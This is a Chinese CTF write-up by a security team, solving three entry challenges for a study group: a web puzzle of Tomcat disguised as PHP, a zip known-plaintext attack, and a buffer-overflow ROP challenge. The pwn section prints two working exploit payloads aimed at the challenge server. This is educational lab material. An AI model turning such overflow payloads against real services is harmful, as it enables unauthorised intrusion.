CTF学习交流群 第一期入群题writeup大放送

2017-12-18 15,813

CTF学习交流群,由于加群人数已经超过预期,故此第一期3个入群题完成它们的“使命”,现在入群题正在更换中,现放出第一期3个入群题的简单writeup,欢迎讨论交流。

(旧题的链接暂时不撤下)


WEB

(地址: http://www.p007.cc:8888/)

这一题也是大家最痛恨的一题,于是我先写下。

访问链接后,表面是空白的,然后查看源代码,发现

如果有经常留意国外ctf的话,会发现这段代码是Hack Dat Kiwi CTF – 2017的MD5 GAMEs 2题目,那场比赛里只有一个队伍做出来,而且是通过发现平台的漏洞而拿到flag的,而且比赛官方给的writeup也是理论性而已,所以这代码的解法暂时没有。

这题的关键也就是everything is p5eud0,这里p5eud0形似英文单词pseudo,也就是一切都是假的。

这里说一切是假的,那么大胆的想象下php代码是假的,或者服务器压根就没解析php代码,于是php代码才原样显示出来,而php后缀名只是一个幌子而已。

这题就连PHPSESSIONID、nginx都是假的

其实是tomcat+jsp,以下是Dockerfile的部分:

#pseudoRUN sed -i 's/jsp/php/' /usr/local/tomcat/conf/web.xmlRUN sed -i '$i<error-page><error-code>404</error-code><location>/404.php</location></error-page>' /usr/local/tomcat/conf/web.xmlRUN sed -i 's/port="8080"/port="80" server="nginx"/' /usr/local/tomcat/conf/server.xmlRUN sed -i 's/<Context/<Context sessionCookieName="PHPSESSIONID" /' /usr/local/tomcat/conf/context.xml

本来我是要让人猜出是jsp,但无奈很多信息都没了,就连Wappalyzer也没辨别出来

也就只有一点不太像泄露的php代码,不论GET或者POST提交都会显示那句话。

本来想的一些招数就不用了,直接弄个源码泄露,不然真的会被各位打死的。

我特意建立了一个/.git目录,而里面没有任何东西,当你访问/.git/index和/.git/config都没有的时候,就应该认为没有存在git泄露,相对而言的一个套路是告诉你去github官网找找看。(在这里澄清下,这种去github上找源码的ctf题以前可是有不少的哦。)

然后关键是找哪个账户的github呢?回想下,everything is p5eud0 (这样的名字肯定是我为了题目而建立的用户名)

访问 https://github.com/p5eud0/p5eud0

里面有一个index.jsp(←_←现在相信是jsp代码了吧)

这里/WEB-INF/tomcat的一个特殊目录,一般而言不能从浏览器直接访问的,可以通过jsp:forwatd跳转来访问。由于是入群题,只要你找到这里,我就基本让你过了,只要提交md5=__pseudocat__就可以看到flag了。



MISC

(地址: http://pan.baidu.com/s/1gfL987T )

附件是一个misc.zip,若是直接解压,得到一个i.png,丢入binwalk

发现末尾有一个zipzip里有2个文件,第一个文件名为_,第二个文件名为flag.xlsx,而且zip是加密了,在图片里也找不到什么信息,也不是伪加密也不是弱密码。回想上一期的misc吧,当时是把第2图片以NTFS流存储在最开始的rar包,那么这题有木有可能也是用同样的套路呢?

回到最早的misc.zip,使用binwalk,发现了存在2zip,一个里面包含_,另一个则是我们刚才解压的那个。

2zip包叠放在一起的,一些压缩包软件(如winrar)会显示底部那个zip,而另外一些(如360压缩)会显示第一个zip

这题是要使用zip的明文攻击,而攻击包我都直接给准备了,不需要你们再去压缩了,这次就不会被说需要什么特定的压缩软件了吧。←_

分别从misc.zip前面和i.png后面把zip包抠出来,然后使用Advanced Archive Password Recovery(APCHPR),推荐4.53版本,

当破解出来的时候,点击“确定”,就可以另存为破解出来的压缩包。至于该文件的口令为32位,这里是破解不了的,但不影响。

打开flag.xlsx是这样的:

这个excel很大,这里可以编程把数值取出来,再绘制图。但还有一个更简单的做法,对excel进行缩放:

图中空白处就是flag


PWN

( nc p007.cc 9999  附件地址:https://pan.baidu.com/s/1o8UO81k)

IDA打开callme,从main进去

进去pwnme函数,发现可能可以溢出的fgets

再用pwntoolschecksec查下,发现没什么保护

再用IDA打开libcallme.so

主要就是callme_onecallme_twocallme_three三个函数,分别是读取encrypted_flag.txtkey1.datkey2.dat

所以只要溢出,更改ret,依次调用callme三个函数,注意满足函数的第一个参数为1,第二个参数为2,第三个参数为3

以下分享下群成员天河的payload:

# -*- coding:utf8 -*-
__author__='天河'
from pwn import *
context.log_level = "debug"
#p=process("./callme")
p=remote("p007.cc",9999)
payload= 40 *'a'
s=ELF("./callme")
addr=0x401ab0
addr2=s.plt['callme_one']
addr3=s.plt['callme_two']
addr4=s.plt['callme_three']
payload+=p64(addr)
payload+=p64(1)+p64(2)+p64(3)
payload+=p64(addr2)
payload+=p64(addr)
payload+=p64(1)+p64(2)+p64(3)
payload+=p64(addr3)
payload+=p64(addr)
payload+=p64(1)+p64(2)+p64(3)
payload+=p64(addr4)
p.sendlineafter("> ",payload)
p.recvall()

再分享群成员poyoten的payload:

python -c "print 'A'*40+'\xb0\x1a\x40'+'\x00'*5+'\x01'+'\x00'*7+'\x02'+'\x00'*7+'\x03'+'\x00'*7+'\x50\x18\x40'+'\x00'*5+'\xb0\x1a\x40'+'\x00'*5+'\x01'+'\x00'*7+'\x02'+'\x00'*7+'\x03'+'\x00'*7+'\x70\x18\x40'+'\x00'*5+'\xb0\x1a\x40'+'\x00'*5+'\x01'+'\x00'*7+'\x02'+'\x00'*7+'\x03'+'\x00'*7+'\x10\x18\x40'+'\x00'*5" | nc p007.cc 9999

欢迎各位讨论。

欢迎加入CTF学习交流,群号码:473831530 ,旧题已下线,新题将在近期更新。

ps:这群跟chamd5没关系的哦~

本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/66443.html

Tags:
评论  (0)
快来写下你的想法吧!

ChaMd5安全团队

文章数:85 积分: 181

www.chamd5.org 专注解密MD5、Mysql5、SHA1等

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号